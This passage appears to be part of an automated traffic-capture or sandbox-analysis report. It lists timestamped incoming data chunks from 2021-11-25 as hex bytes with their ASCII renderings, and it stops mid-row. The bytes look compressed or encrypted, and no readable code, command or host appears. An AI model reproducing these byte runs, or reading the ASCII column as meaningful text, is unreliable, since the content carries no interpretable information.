d2 79 89 cc be 90 6f 29 04 a6 7e 9b e3 27 0a b2 cc e4 41 5d b8 90 a2 5a 79 1c 0d 93 34 04 5a e6 1a b0 c1 bc 55 2c bc 21 
9b e2 0e a2 5f 7d 5b 2e fc 3b 5f 62 eb 24 ba 3b 4d 17 
Data Ascii: SEqaDS6*F8);{o~(}l +3g5N'cvqIE#r/;s9yn[2ezrwvsk'_wde.33@&n&8b!@Xg00w|y-KpD'iyo)~'A]Zy4ZU,!_}[.;_b$
;M

2021-11-25 16:27:48 UTC 1166 IN Data Raw: 11 4f cc 83 3b 56 96 41 e3 09 da be 76 07 44 da 54 62 32 7b 2d dc 01 7f 3b c4 19 aa d9 5c fe 26 be a6 5d 36 
72 07 e3 2e 0e 38 83 c8 f3 a4 c2 22 51 05 b0 f5 ec 34 86 32 fc 49 9b 6c 9e 51 ec a8 54 81 c0 af 83 06 ac 43 44 f3 40 73 fb 
84 01 99 d4 58 70 ab 12 45 73 77 14 71 d6 66 c2 a6 39 6f b1 b0 ee a1 5f 02 f2 6e ee 6d 58 18 0e a0 e3 88 35 52 80 d6 f6 
ba 7e 77 a2 cc 76 71 9e 17 68 c3 bd ff f0 11 b7 5a df c6 50 30 b0 de 2a 5b 55 5a ff 30 2b 70 ac e3 fe 46 69 a5 5f 87 43 ff 
44 59 85 4a de a1 de d7 5c 83 69 73 42 4d df 40 ce 9a cc f7 c2 41 90 b9 c4 1a b1 b9 46 66 dd 43 43 76 1b 32 c2 98 79 3c 
ec 4a ab 82 93 39 57 e8 f9 a3 49 31 30 f0 1a 7a dd 53 20 2e 33 f1 1e 03 5a 43 c3 bd 84 e1 1e b6 56 95 40 51 89 c4 24 a5 
17 e0 15 e9 16 0f 70 77 98 c9 e1 15 32 ba 3c 71 82 
Data Ascii: O;VAvDTb2{-;\&]6r.8"Q42IlQTCD@sXpEswqf9o_nmX5R~wvqhZP0*[UZ0+pFi_CDYJ\isBM@AFfCCv2y<J9WI1
0zS .3ZCV@Q$pw2<q

2021-11-25 16:27:48 UTC 1168 IN Data Raw: 4c 6a a3 fc f7 94 5a da 26 ce 1b be 0f 1f e2 0c 3c 2b 1b 9a d1 87 3c 67 b0 fe c6 ed bc 66 7d 8c f3 7d e0 ee a6 
6c 96 8c b4 9f e2 b4 3c 45 87 b1 d5 24 87 f0 db 9c 86 e7 c3 b3 ce 74 12 c0 f6 37 b2 7e 2c 89 05 9d f7 53 3a ef 3e 08 c0 
67 24 4f 1c 27 32 c5 ab e7 3d 4c 9a dc d3 8f 39 b6 21 8f dd 60 82 51 13 6f 24 0e 51 d8 8d 3a 13 bc c9 e1 67 8a 3f 73 8a 
8a 65 17 51 38 1f 7f f1 9a 9d 58 b7 b3 8e 7b 17 da 5c 81 d4 be d1 03 a2 c0 cb 7a 94 b6 9a 9e f0 7d 5c 9f ba 4d d7 6f f0 16 
dd c9 34 61 6f 3c cc b9 5c 7d a1 8a 6a 71 9d 82 ab a8 19 d5 09 5d 72 2d 59 d1 2c 55 c9 5c 8b cf c5 45 a5 94 e6 4e c2 18 
d1 0f f9 52 f6 11 07 93 7e c9 d7 71 17 e1 4b 5c 29 cd d0 53 39 c3 e4 4b 9c 22 a9 88 bc 61 55 40 fd e9 97 2c 0a 1f f5 95 1a 
e3 59 64 f9 41 b4 d0 56 bc d9 4c fc c8 26 e8 24 
Data Ascii: LjZ&<+<gf}}l<E$t7~,S:>g$O'2=L9!`Qo$Q:g?seQ8X{\z}\Mo4ao<\}jq]r-Y,U\ENR~qK\)S9K"aU@,YdAVL&$

2021-11-25 16:27:48 UTC 1169 IN Data Raw: 9e 7a de 45 50 8d 05 cf 18 b9 9e 78 f9 73 bf e6 cd 14 22 31 47 be fa f5 43 71 4f 33 11 5f ff b3 00 28 46 1c 90 f2 
cf e3 80 ec a5 76 f2 bc 90 e2 3a ac 80 82 3f de ff 69 d7 d6 65 a0 1a dd b1 f5 5e 82 3b 3a 48 ef 98 0c 69 f5 7f 42 5a e7 d0 
c8 39 14 75 2e e9 cc 27 94 a9 38 50 8a 8a f7 b4 45 7f 64 18 fa 27 e3 8a 61 44 31 19 7a f4 d6 a9 1f b9 ae 79 f3 cb 48 86 
8b 3e de 32 9a 2e f9 c1 76 9d e1 39 11 6a 8f a0 03 ca 1f 39 8e 22 11 de 03 22 bc b7 8d 03 13 18 ea 36 65 f8 7f 28 19 d8 
b7 82 c8 43 9e 9c 09 5e dc 47 e0 ed c5 4e fb f5 15 75 a1 65 06 60 ea 8e b7 06 c8 23 cc 25 ef 3d 82 6e 18 87 93 4c 3a a5 
ff d8 a0 7b 61 65 31 ab 0b c4 b7 d2 00 4d dd 74 9d df 66 02 a2 6c 0b 97 1b 72 7e 9b 0f 6a 81 f1 b9 04 42 d8 02 ad ff e6 
b9 6c ee 9c 80 61 63 d3 b5 48 e1 2e 2c 2d 79 af 
Data Ascii: zEPxs"1GCqO3_(Fv:?ie^;:HiBZ9u.'8PEd'aD1zyH>2.v9j9""6e(C^GNue`#%=nL:{ae1Mtflr~jBlacH.,-y

2021-11-25 16:27:48 UTC 1170 IN Data Raw: 85 ed 5e f9 88 70 1a cb 48 ca f2 d4 ab 64 0e 74 10 77 ae bc d4 ec b3 92 50 61 e8 e4 54 e9 36 11 19 cd 9d 89 
df b2 96 89 68 27 97 28 4e 46 b7 f6 9b 2c a3 16 a8 c6 eb 1a ff 69 f8 a9 21 a1 f1 9d 73 43 e9 56 94 8e 89 e7 5a 46 16 91 
7e 6f 49 34 68 49 03 fc 4a 0e b1 7b e9 d4 94 7b 6e 50 79 83 6a dd f8 06 43 1d 54 d4 11 09 af 1b 57 d5 6b 11 26 f3 ce 67 
10 83 ca 2f 33 88 4f b7 24 b5 62 dc 64 6f 7e 3c 6a 17 e3 26 7b 66 3c 6a 1d bd 99 f4 0e 9a c3 3c 51 1c 26 c6 71 3e fe 19 87
59 0f 52 cb f9 90 81 66 7e 7a ca 10 b5 9d b7 7b 13 11 d2 5e 30 1c 5a 18 bf 09 c9 f3 a8 16 26 37 36 bd 53 0e 7a be 69 68 
01 43 f9 bd 9c 0a d5 15 71 7a 24 82 6a ef 47 4d 3f 81 95 d5 d6 5b 18 b5 89 ed 8a f8 0e c7 48 fb 97 7b ab 36 2f 41 e0 f8 39 
61 5b a4 9b 51 c3 22 cb 31 ba 55 93 de 9c 56 d2 19 
Data Ascii: ^pHdtwPaT6h'(NF,i!sCVZF~oI4hIJ{{nPyjCTWk&g/3O$bdo~<j&{f<j<Q&q>YRf~z{^0Z&76SzihCqz$jGM?[H
{6/A9a[Q"1UV

2021-11-25 16:27:48 UTC 1172 IN Data Raw: 50 c3 da 7b b3 96 6d a8 65 9b 6a e9 c5 b5 c0 39 fd 56 9e 1b 82 a2 c5 3c 03 99 67 0d 76 92 b8 7b 33 d3 26 64 
da a4 4c 77 32 53 75 eb fd 4c 0c 33 93 4e 3e 6d 33 71 ff 66 69 3d c2 b8 c5 d2 ee 65 69 a5 99 18 e5 66 81 29 86 c4 53 4a 
3c 92 89 61 c3 cf c4 24 23 e2 ca 85 80 cb 58 8c e7 14 16 21 96 ae 72 1d 1d 73 79 04 ac a4 a1 de 67 62 fa 46 de 8e 4a 37 
8d f3 76 8c bc 8f d9 56 6d c4 ad 7a 78 a3 e4 0d 55 ca 83 2a 79 c1 78 a9 20 92 32 e3 0d e7 d6 23 81 d1 16 c9 57 68 43 47 
59 36 03 43 a4 3e a9 28 01 a8 42 08 1a 1b 88 de 27 d2 c1 f6 0c 2f 3f cd 2f 10 87 e1 26 22 37 86 69 f6 c2 d6 e9 05 99 32 
f9 e4 7d 95 bc c8 95 36 28 33 58 26 f3 08 7e 3b 24 b1 99 70 13 46 b9 82 d8 cb ac ee d2 8d ba be 4f 8f a5 71 8a 96 cb 7c 
fc a2 5f 0c 86 83 b0 1e bf 72 38 0a 05 5e a8 7b 57 18 12 
Data Ascii: P{mej9V<gv{3&dLw2SuL3N>m3qfi=eif)SJ<a$#X!rsygbFJ7vVmzxU*yx 2#WhCGY6C>(B'/?/&"7i2}6(3X&~;
$pFOq|_r8^{W

2021-11-25 16:27:48 UTC 1173 IN Data Raw: 26 ad e7 08 cd 43 a0 63 04 66 75 d4 26 29 53 07 b2 8d f7 4b cd 78 30 37 75 c4 9b 5a 7d 6a dc 12 d7 a3 b3 b1 
01 af 8c 61 9a 7a 3f 44 88 41 56 f8 30 f7 6e cc 8e 6c fa d9 38 57 26 d4 27 b2 52 96 88 2b 17 b1 d4 f9 d2 3c 01 ce b4 e1 b0 
5f 15 f4 fc 39 97 78 dc 50 80 35 f7 97 47 50 e3 25 eb fa 80 d7 5b 2c 03 81 91 5c 66 1b d9 81 a8 f1 99 96 01 ee 48 54 45 
67 af 0f 14 da 48 53 b2 32 15 e2 99 24 c7 ea d4 36 64 f6 11 1a 0b f7 1b d1 c4 be 8a 44 e7 3a e7 1e 42 17 b4 50 ae 6d aa 
5c 18 ac 7d 84 41 46 f2 04 91 2a 39 d0 10 f9 eb 70 b9 a2 ff 46 c9 58 58 f1 32 68 62 79 fc b7 42 7f 5f e4 1e a9 51 02 96 69 
f5 76 a1 c4 fc ee a8 5d a3 2c f4 34 ab bd 99 cd 60 20 d7 44 5c 06 1f 4b c6 f3 7e 60 3e d1 8d 24 d5 31 0a dd f1 70 e0 60 9d 
d5 5f af 2a 96 14 42 2e 76 4e 31 1a 0c 29 b7 94 
Data Ascii: &Ccfu&)SKx07uZ}jaz?DAV0nl8W&'R+<_9xP5GP%[,\fHTEgHS2$6dD:BPm\}AF*9pFXX2hbyB_Qiv],4` D\K~`
>$1p`_*B.vN1)

2021-11-25 16:27:48 UTC 1174 IN Data Raw: cc 74 f0 ed 21 7c 03 b6 e7 38 6b f2 b0 68 fa b1 7a a2 e5 ba a4 1d c0 07 e5 92 28 0f e9 ee be 6d 3d 9e 3f 7c f2 
7c 38 b5 ee f6 c2 fd 0f 40 22 c4 7e 45 7f 1c fe f8 e2 ae b7 11 0e fa 69 1c 74 3d 4b 5c 9d ee c3 51 fe a7 91 df bd 39 0c 76 
21 c5 f7 4f 7f 3e 6f 85 90 fd d4 f8 38 38 0e ca 3f b0 f0 5e d0 7b b8 c7 c2 cf 8c af e7 8f de 51 1b bf ee 1c 9e dc 97 03 b9 a4 
0e 2a 6f 4d 24 03 dc e2 69 cd d1 ab 2e 26 dd 1e 14 7b 3e ef 12 b7 8c 16 37 1e 5b d0 8b 2f 73 ee 6b 6c 4f 43 84 10 70 87 
c7 c0 1d 64 90 45 20 9f 7e 46 af 1d 03 01 33 80 48 c9 c1 a8 ae a8 c1 93 3b 46 33 df 70 74 9e b3 40 ce b8 16 84 e3 a1 a9 
d6 05 1d 79 33 71 98 77 84 7f 05 96 66 0e f0 ed 37 ba 7c 73 93 fc b5 97 a3 e1 f2 53 e8 b5 71 c3 83 99 c3 d0 c2 19 38 16 
25 09 1e 33 c2 b1 16 77 52 00 d5 89 a2 90 07 
Data Ascii: t!|8khz(m=?||8@"~Eit=K\Q9v!O>o88?^{Q*oM$i.&{>7[/sklOCpdE ~F3H;F3pt@y3qwf7|sSq8%3wR

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1175 IN Data Raw: 5f f2 35 23 e9 76 6f 1b e6 50 d7 6f 8b 07 39 06 92 a4 c6 bd 2d 7e 8b d2 cc 2b 2d 49 19 6d d9 6b 18 d7 db 9e 
8a 1c be a3 f6 cf 61 c3 23 80 ae f3 ce bc d9 8c a0 65 c1 d4 37 58 71 53 4e f9 c2 e6 25 bb 68 a1 cb c1 ac d0 0b 05 5a d5 
ca 01 6b fe 07 05 ee c4 05 62 69 fb 73 fd a2 7f a9 b4 c3 64 69 ad b9 4b b7 53 ec 05 98 62 37 2f 85 da 79 64 e5 82 a9 de 
80 a5 be 3a be 0b 47 ec e3 d8 0d 90 a1 93 04 02 63 da 8d c3 91 62 f3 78 97 23 e6 34 52 38 fd 06 9b 81 2f 1f 18 4d 56 bf 
df 5b b6 ae 2d b9 bb be a6 3d 6b c9 06 a7 85 d7 07 88 94 35 71 23 96 e8 44 59 47 00 2e b0 8e c3 75 9a 2b 65 f4 4c fe 96 
30 08 5a f7 32 64 b6 2f bd 3d ad b8 37 18 ea cd ed 91 df 5b c1 0b c3 41 21 24 7b 57 8c 2c a8 48 6e 1f 32 ac 73 92 2d f9 
91 d1 f8 91 2e 7e ab 88 75 8f 19 d2 2f e9 ad a4 cc 9b 24 
Data Ascii: _5#voPo9-~+-Imka#e7XqSN%hZkbisdiKSb7/yd:Gcbx#4R8/MV[-=k5q#DYG.u+eL0Z2d/=7[A!${W,Hn2s-.~u/$

2021-11-25 16:27:48 UTC 1177 IN Data Raw: 89 a3 03 51 c6 70 dd b2 19 c8 c2 45 b2 a9 37 c1 3c eb 88 b4 61 92 ac 42 71 ee 59 16 51 5d 48 55 91 f3 83 ca 
e4 2e 5a 2c 91 35 d9 4c 44 f9 a3 02 8c 4e 06 70 cb 6b dc 22 5f 88 09 74 df 7a 81 b4 a9 85 2c a9 ca 63 d7 a0 08 66 65 66 
f2 31 71 2e 02 a6 b1 53 bd 72 8a e3 03 79 73 f4 32 23 d5 47 f8 53 d5 47 90 9b 8a ef f4 af 1b b1 75 56 c2 ba 66 a7 02 12 
98 64 a1 ff d9 ba 24 69 c5 64 9e 3b be e4 69 17 74 2f 6f 55 2f 4d d3 96 af b8 dd 4e 08 c9 1f 4d 8a 30 56 83 c4 25 84 7e 3e 
f6 48 31 ed 23 e2 60 6c 52 c4 d7 56 d9 79 72 5e 9e 4b 29 04 9f 40 dd b8 c5 57 f1 eb 37 f9 d7 e4 63 6a 8e 77 31 f7 76 57 
76 7c 03 7e 2b 11 71 e4 6b ed 96 d4 4a 4a f5 e4 7d a7 e1 4d 6c b5 0a d5 05 9e e9 56 10 ab 2f 2f db 0d 2e 66 ff bb 76 44 
28 4a ad e5 66 76 0d ed 1e d9 f3 ad ee db b1 5b e9 4c 
Data Ascii: QpE7<aBqYQ]HU.Z,5LDNpk"_tz,cfef1q.Srys2#GSGuVfd$id;it/oU/MNM0V%~>H1#`lRVyr^K)@W7cjw1vWv|
~+qkJJ}MlV//.fvD(Jfv[L

2021-11-25 16:27:48 UTC 1178 IN Data Raw: 94 db 65 da df 53 dc 90 df d0 cf 7b c4 c4 f1 d0 80 39 e1 89 87 93 a7 be 5b 86 0c 0f a6 78 87 8f 49 1d 3e 2f 0d 
e5 c2 51 20 50 07 6b d9 ad 27 5c 50 1f 0f 9b ed e5 86 25 0a 21 aa 2a 10 51 04 d5 9b 61 f1 d2 af 85 29 98 53 23 5d 41 de 
cc 71 5a d3 e1 bc 66 5c 6b 2c 28 3c 3b 3c d2 28 f3 e8 ce 97 b8 12 d4 1c ca ee 48 0c d9 6a 69 4d 74 1a fd 2a 62 76 b0 99 
78 47 e7 e3 3c 1b 32 4b 07 11 33 a5 39 51 07 c8 7e 24 68 dc e0 e4 1a 54 e3 97 8e e0 bc d6 f2 10 cb c4 c1 03 8e 82 2f ea 
eb 78 92 9c bb f6 30 70 51 fa 87 2d da 6e dc 51 aa 76 e3 90 cc ac 4b 08 7e 73 27 2b 69 63 79 52 81 b0 53 a2 88 74 72 66 
88 d6 f2 53 cc 7f a3 e6 27 ac 2b 3a 3a 94 8c 06 2c 06 64 23 12 d4 f0 2e 4f d9 18 0b 84 d3 a6 12 60 32 87 56 e2 ec b8 93 
01 b4 3c b2 6c ad e5 7e d3 7a 35 3a 36 65 9b 80 97 a6 
Data Ascii: eS{9[xI>/Q Pk'\P%!*Qa)S#]AqZf\k,(<;<(HjiMt*bvxG<2K39Q~$hT/x0pQ-nQvK~s'+icyRStrfS'+::,d#.O`2V<l~z5:6e

2021-11-25 16:27:48 UTC 1179 IN Data Raw: 9f f1 e7 4f 9f 4a 84 c7 2d 46 79 d7 45 79 46 6a 89 2b 45 cb 8a af 14 a1 bd 78 fc b8 28 28 08 83 0f 83 df f7 59 
d4 1b 2d 19 e2 cf 7a 3a 74 a9 14 c6 52 e1 4b 3b e9 54 0b 30 dc 30 64 2d db 66 52 e9 c4 76 26 21 9a 13 05 08 96 38 43 
74 32 90 a3 30 ca b6 8b 67 10 e2 7e a2 88 b9 b4 f4 c8 82 5a e2 ad 53 2f 93 ce 32 5a 5a 7a ea a1 10 f6 1e b3 ba c8 07 9c 
90 4c 06 a4 ea 33 5d d4 75 04 b5 fc b6 4a ec 74 24 85 3a 54 d2 a7 cf 5d 17 6f 77 d4 59 da 29 9e df 18 ba a9 30 63 2e 47 
76 7a 21 32 8b 30 5d 0d 26 95 75 35 7f 27 2e f1 eb da e3 ad 6f 38 69 5c 55 af 31 c2 c7 a6 cf cd 85 d4 df 11 ec ba 0d 39 9e 
6f 12 38 a5 c4 85 86 46 1b 10 c2 e4 06 48 55 12 b5 85 f8 c2 1e c9 c2 84 92 22 77 98 34 ac 81 fe 1a 56 69 68 12 4b a6 b0 
ac 9a ec 85 7c 16 6f 66 f3 90 ec 3e 47 16 d8 49 5a 78 
Data Ascii: OJ-FyEyFj+Ex((Y-z:tRK;T00d-fRv&!8Ct20g~ZS/2ZZzL3]uJt$:T]owY)0c.Gvz!20]&u5'.o8i\U19o8FHU"w4VihK|of>
GIZx

2021-11-25 16:27:48 UTC 1180 IN Data Raw: a2 3f 0c 47 c0 3b 03 5d 8c b3 e3 79 b9 b0 4f 6a 20 c1 ba 72 64 7d 52 d1 3b d9 2a 7a eb d7 43 bb 6f d3 f7 67 46
1d d8 2c 23 f7 ea 67 62 77 1a 89 2a e9 44 c9 a0 9c 68 d9 43 ef 0b ee 6c c6 ad 64 3f 22 a9 dd d7 66 a1 e2 38 97 2a 10 d4 
1c 05 44 42 d1 65 b9 61 15 c2 27 3f bc 23 a1 8e 30 c7 49 5b 84 bf 44 ea ab 71 fd ea 2b 2f 49 3a 0d 55 41 7c 61 ca 9e 2a 
91 84 45 47 8c 71 d2 e0 51 28 4a 1a e6 62 77 cc 71 12 5c a7 49 1f 12 67 9f c1 5e 98 93 bc d7 0c a8 c4 da e7 36 01 dd 70 
e3 34 b0 2a d4 b9 4d d6 d9 35 2f 19 29 73 af e9 2d db c9 84 12 b1 bd 96 f9 b0 f0 b9 cd b2 5a 6c 49 3e 7c 7b 9b 3d 1e a2 
05 98 c6 48 26 d7 34 8d d3 75 fa 80 fa 08 1d fa ce 6b 98 a8 f1 0e 85 af 90 22 96 d7 84 c6 7b e8 c2 c4 7e 64 a4 8b 81 e9 
a5 79 f5 33 a1 3f 8f e9 e0 a9 51 6b e3 6b 41 f1 94 e6 
Data Ascii: ?G;]yOj rd}R;*zCogF,#gbw*DhCld?"f8*DBea'?#0I[Dq+/I:UA|a*EGqQ(Jbwq\Ig^6p4*M5/)s-ZlI>|{=H&4uk"{~dy3?
QkkA

2021-11-25 16:27:48 UTC 1182 IN Data Raw: 5d 77 54 80 cb c7 4b c7 a1 28 db 4a c2 6f b3 84 1f bf d2 3d b6 db 4c 08 d1 47 35 4a 5e ba 46 e9 17 04 04 0d 
93 dc 7a 44 2b b7 f6 b2 65 13 d4 85 63 31 83 08 42 29 2c e4 90 57 22 ad 22 a5 97 64 23 5e e2 9e a7 77 ca ac 36 70 08 
7d f3 39 9c 41 37 ce b6 ce ce 5a c7 47 7f 6f af b7 0e 2e 4e b7 ac 7a 1c c2 67 69 29 29 3b 1a 81 a1 96 96 4a 7f c4 8f 3a 26 
a4 e5 77 46 a3 3b 0c b5 47 80 7c 9b 66 16 a7 b8 49 3a 67 6b 77 fd 68 e7 f8 e2 fc ef d6 d1 97 f5 83 d6 26 2d f5 3e 65 38 
be c1 90 8a 75 63 77 c1 d8 6f a0 4e ba bc 96 b8 c5 b8 c9 31 94 35 54 eb 1d 37 73 b7 05 b3 b9 59 95 11 20 9c 7a d2 fe 74 
4b 6a d1 b7 e5 df af 34 ed 64 86 c1 ea 3f 52 83 5f ce 53 e6 13 5e 00 47 aa 34 ea 13 01 43 76 75 d2 46 7e a1 6c 09 7a a6 
92 53 82 5b dc d5 16 b1 2f 5b 7c 6d cc 79 fc 38 84 c1 6c 
Data Ascii: ]wTK(Jo=LG5J^FzD+ec1B),W""d#^w6p}9A7ZGo.Nzgi));J:&wF;G|fI:gkwh&->e8ucwoN15T7sY ztKj4d?R_
S^G4CvuF~lzS[/[|my8l

2021-11-25 16:27:48 UTC 1183 IN Data Raw: 99 37 f4 2c cb bc 85 6d f3 25 4b 3a cd bb 2d 8e 2b 6f ca 8f a6 e8 08 6c 88 53 3b 40 5e c3 48 92 dd 64 89 3c 39 
61 05 d0 53 bc 76 94 2a e6 17 72 61 9f e6 27 47 a2 b0 93 65 0f 7a 65 c3 de 63 81 20 78 42 65 ee 01 a7 b5 4f 21 e9 aa a2 
57 76 ea 3b e6 52 9f a3 ec 46 37 2d 05 c7 37 2e c7 56 24 b8 b5 bf 74 83 30 e6 3f f2 f4 93 96 e4 ed 76 bb 83 89 05 fb 81 
a0 92 8b c6 cb 86 15 d0 15 bc 65 f2 53 64 e6 84 4d d8 65 65 df 46 59 84 40 f2 7e 94 ed e7 b2 bd 5e e6 78 76 a8 0f 77 44 
95 dc 17 3e 96 80 02 61 20 df dd 
Data Ascii: 7,m%K:-+olS;@^Hd<9aSv*ra'Gezec xBeO!Wv;RF7-7.V$t0?veSdMeeFY@~^xvwD>a 

2021-11-25 16:27:48 UTC 1183 IN Data Raw: 2a 86 fc 0a 5d 56 c4 cc c9 b3 b6 8a 19 d7 8c 3c 51 a3 2d f3 c0 58 35 e0 05 7d 20 4d 45 c8 6c c3 69 18 6d 3d 
dd d9 ef ec 66 4d e9 00 ff 7a f7 f7 eb 1d 2c 38 e8 89 f3 0e ce d3 e9 c8 0f 97 ad ab 77 d7 d6 32 26 bb fa bf 7f bd bb 5e fe 
ab c8 7f b3 29 ae fe 7a fc fb af 15 f3 cb bb ab bf 9a 90 b6 a9 5e 70 0b 5a d5 2c 2c 92 6a 42 f8 04 e3 88 46 31 c5 2d f5 cb 
32 e2 16 ec 55 f5 54 92 6a d5 6b b8 e4 43 e3 83 c0 d9 0f 97 96 d4 af e2 68 3a c0 72 e9 e2 38 18 52 30 4d af 88 21 50 b0 
98 e2 70 d4 8d ba 03 82 e5 4f be a2 3b dd f9 c5 bd be fa 4e 7c bd 3c 23 db 8e 06 f2 f5 23 1c 32 b6 34 f0 f4 8b d9 63 a7 db 
0b a5 dd 8d 67 66 d4 b2 95 ee d8 7e 35 de 7c 1c 82 0d 44 7a ec 62 dc 42 5a d8 70 d8 36 ad c1 6d d8 ed 77 86 d1 4d 70 
37 b8 f3 fd e1 b0 7d d7 eb 76 fb ae db 81 ff a0 b9 
Data Ascii: *]V<Q-X5} MElim=fMz,8w2&^)z^pZ,,jBF1-2UTjkCh:r8R0M!PpO;N|<##24cgf~5|DzbBZp6mwMp7}v

2021-11-25 16:27:48 UTC 1184 IN Data Raw: 2d 3b 86 b1 36 62 c8 42 bb 41 31 a3 c6 08 1d b4 e1 df 4e 91 8c f1 cf 48 40 11 78 a9 3d 8a 6f b4 6b c0 c2 d5 2c 
87 a2 04 8e d4 b5 38 bc 10 e9 6e e0 a0 9c f0 43 2b d8 1e 8e ce 5d cf d6 71 55 46 57 23 a9 31 5a 01 aa 05 1d 89 77 de 54 
0f 70 86 1a bf be 82 74 31 65 5b 2a 33 b8 42 70 e5 5d b3 31 80 74 07 2e 89 08 fe eb c0 7f 7d d2 d3 f4 51 4f 23 a9 d3 3d 
24 ef 5f d7 2d 6f 34 7c 1c 93 3d fc 7d 11 17 40 33 82 1f 30 99 35 2b 02 56 42 bf ed a8 b7 fa 48 d5 df 96 96 e0 6f 77 d2 0b 
81 54 25 5b 8c 28 52 ee a0 db 46 88 5e 87 4e cf a5 a5 05 38 86 a8 28 67 e6 da 2f 30 8a c0 b1 5c d0 b9 15 e2 5b 21 db a3 
df 46 02 da a1 9f 3a e2 ae 37 05 1e 58 bf 68 cf 28 4c 2e af 95 97 e1 40 f2 b4 b5 17 83 75 a9 99 0b 06 c3 77 65 e6 68 38 
60 bb c8 20 c1 f1 20 82 83 30 6e 86 8c 05 fb 46 09 
Data Ascii: -;6bBA1NH@x=ok,8nC+]qUFW#1ZwTpt1e[*3Bp]1t.}QO#=$_-o4|=}@305+VBHowT%[(RF^N8(g/0\[!F:7Xh(L
.@uweh8`  0nF

2021-11-25 16:27:48 UTC 1186 IN Data Raw: 9d db cc e2 0a d4 f0 bd d2 f5 62 aa 6d 74 62 dc 76 f0 5e df 06 11 af 37 69 58 d4 23 54 0a 27 b2 3f ad 68 37 79 
11 c7 b3 d9 1a a0 27 dc ca a9 dc 49 2b ad f6 0a 87 ef 74 bd 5e 68 5d 37 2c 0f b6 cb da 2a 9a 02 98 a5 53 5b d2 35 a4 7c 
f1 25 36 17 90 09 8f c2 08 fc 11 29 db b6 17 a8 ff b0 75 b8 b5 f2 85 e3 29 61 3d e5 62 89 af 96 3a 0d 6b eb 68 f3 ef e3 ed 
bf 4f 90 09 b4 96 7f e0 01 0f 39 36 f8 ba 79 05 17 11 e4 f8 bd 0f fb a6 0b 14 7f f2 6e 14 f6 50 3c ad 17 bc e1 74 10 b8 a3 
e7 86 f5 fb 72 67 f9 77 eb 77 98 a8 07 90 15 da c2 17 91 e8 f0 dd 51 6a 54 1e 1f 1f 57 30 70 e2 ca 74 04 cd c3 d1 c0 58 90
0b 6d ba 15 bd bc 47 78 87 a0 78 1b 3e 37 83 c6 0b fc a9 d1 c3 ac 06 4f 33 47 c4 f0 4e d9 06 b6 a9 d5 eb 3e 7a 41 af 1c 
00 cb 34 45 1a 72 0d 03 72 8a 61 c2 c3 81 a5 
Data Ascii: bmtbv^7iX#T'?h7y'I+t^h]7,*S[5|%6)u)a=b:khO96ynP<trgwwQjTW0ptXmGxx>7O3GN>zA4Erra

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1187 IN Data Raw: 33 52 2b ac 17 e4 08 49 a7 c6 a1 ef 4f 47 18 e7 c7 1d 04 84 05 49 67 67 62 32 7d 0d 67 ee a1 43 2e 5e 39 90 
1e 8f 66 a1 51 fa 77 e6 ee f5 35 28 f6 a9 17 cc fe fc 96 14 c3 be 9b b7 ab de c4 2e e9 60 dc 28 9a 4d ec df aa e2 7b d5 a9 
ff f6 4f 59 8c fa 9c 0b 57 f2 da c6 68 53 e4 0c 33 e9 10 2c 5b 86 be b7 15 4f cc 27 f8 0b 32 c3 c5 c4 79 d9 b0 3e 87 ee 28 
c4 ed da ae 07 f6 3c 16 28 8e 5c 45 e8 71 a1 be 64 76 57 cd 13 72 26 9e 53 7a 29 13 fc ca 87 65 31 19 4d fd c9 70 84 b8 
6a b0 72 2f 82 ba 83 2a 94 4d 0f ad 14 36 bd 64 12 f8 5c ec f5 89 f9 a6 5f 8d a7 90 9c 9f cc 31 91 9f 50 f6 16 4f 61 1e 9c 8c
0b 29 cc 5b e2 3e 8e 5b b2 2a 63 ea fa 2a ea 18 4d 5e 10 c8 53 45 b1 a9 32 60 3d 26 19 35 4a f5 d1 1f f7 f5 e5 e5 91 23 
13 5f 8d ae 8b 17 fb d0 60 4e 0d 8f a4 52 8c 
Data Ascii: 3R+IOGIggb2}gC.^9fQw5(.`(M{OYWhS3,[O'2y>(<(\EqdvWr&Sz)e1Mpjr/*M6d\_1POa)[>[*c*M^SE2`=&5J#_`NR

2021-11-25 16:27:48 UTC 1188 IN Data Raw: aa d9 3a dc 3a 3a 2f 42 b5 f0 ae b0 f5 05 1e 0a 67 bb eb 07 07 58 d7 42 01 ef 69 8e 4f b1 89 85 8d e3 93 cb d3 
d6 ce ee 79 61 f7 f8 60 73 0b 5e 7e de 82 b6 ad 7f 3e d8 e2 ba a0 5f 1b 07 eb ad 43 51 d8 5c 3f 5c df d9 a2 5c c7 50 0c 74 
0f d3 71 03 0b 5f 77 b7 f0 1d d6 b8 0e ff df 38 6f 1d 1f 61 4f 36 8e 8f ce 4f e1 51 40 47 4f cf 75 de af ad b3 2d 51 58 3f 6d 
9d e1 98 6c 9f 1e 1f 42 1f 71 4c 21 cb 31 95 22 01 b0 b1 18 1c ef e4 b4 40 12 7c be 38 db d2 25 16 36 b7 d6 0f a0 30 98 
a3 a3 e4 24 e2 a4 ae fc 37 ff 07 d4 85 ec f8 d9 2d e0 47 af eb 09 b4 16 f0 3b 48 6a a6 83 00 e4 a1 e4 12 97 9b 6d a1 c0 
3e 57 ef de 45 b0 a3 a7 1e a1 ec f6 5d 0c 50 fe 0e 4b 79 e7 f5 86 1e bc 18 4f e4 8b 62 07 9a ce 3f a0 07 64 0b 37 6a bb 
7e a8 96 ed ef f8 ed f7 42 84 b6 81 b8 aa a7 
Data Ascii: :::/BgXBiOya`s^~>_CQ\?\\Ptq_w8oaO6OQ@GOu-QX?mlBqL!1"@|8%60$7-G;Hjm>WE]PKyOb?d7j~B

2021-11-25 16:27:48 UTC 1190 IN Data Raw: 35 e8 a9 c2 4f f5 76 15 27 ac f4 54 6b 9b 6b 22 5f b5 6d 5a 54 14 0e 80 6d f5 6b 0a 54 ed d4 97 75 ca 98 87 68 
7e 8d 20 9a 72 c8 e7 be e5 26 e6 ba 0c f9 14 ee 17 b7 70 04 8b 65 d3 68 54 d7 9a b4 98 b4 70 a5 59 6f 70 34 44 b7 68 
ae fb 4a c7 97 2e 52 24 6a d2 68 d6 aa 30 aa d0 3a 51 09 2d b4 9b 8d 46 ad 59 d4 c2 12 57 b8 be 6e 56 f4 a2 d6 29 71 66 
38 ec 2f ea f3 a0 68 9b d5 d6 46 b8 69 b6 ab 95 3a 1e aa 6d 2e 46 4f b5 76 7d 2e 94 58 31 48 03 15 74 01 48 ec ad 07 3c 
